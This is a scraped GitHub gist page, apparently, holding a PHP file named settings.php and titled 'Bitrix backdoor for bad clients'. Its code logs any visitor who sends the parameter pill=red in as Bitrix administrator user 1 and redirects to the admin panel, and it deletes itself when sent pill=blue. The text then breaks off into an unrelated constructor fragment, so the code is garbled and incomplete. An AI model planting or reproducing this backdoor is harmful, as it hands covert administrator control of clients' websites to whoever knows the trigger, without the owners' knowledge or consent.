Skip to content

Instantly share code, notes, and snippets.

View robertmain's full-sized avatar
🎯
Focusing

Robert Main robertmain

🎯
Focusing
View GitHub Profile
@madcatgith
madcatgith / settings.php
Last active September 12, 2023 06:20
Bitrix backdoor for bad clients
<?php
if (isset($_GET['pill']) && ($_GET['pill']=='blue'||$_GET['pill']=='red')):
if($_GET['pill']=='red'){
require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_before.php");
global $USER;
$USER->Authorize(1);
LocalRedirect("/bitrix/admin/index.php");
}
else{
unlink(__FILE__);
function __construct($username, $password, $host = 'localhost', $port = 80, $url = null) {
$this->username = $username;
$this->password = $password;
$this->host = $host;
$this->port = $port;
$this->url = $url;
// Set some defaults
$this->proto = 'http';
$this->CACertificate = null;
}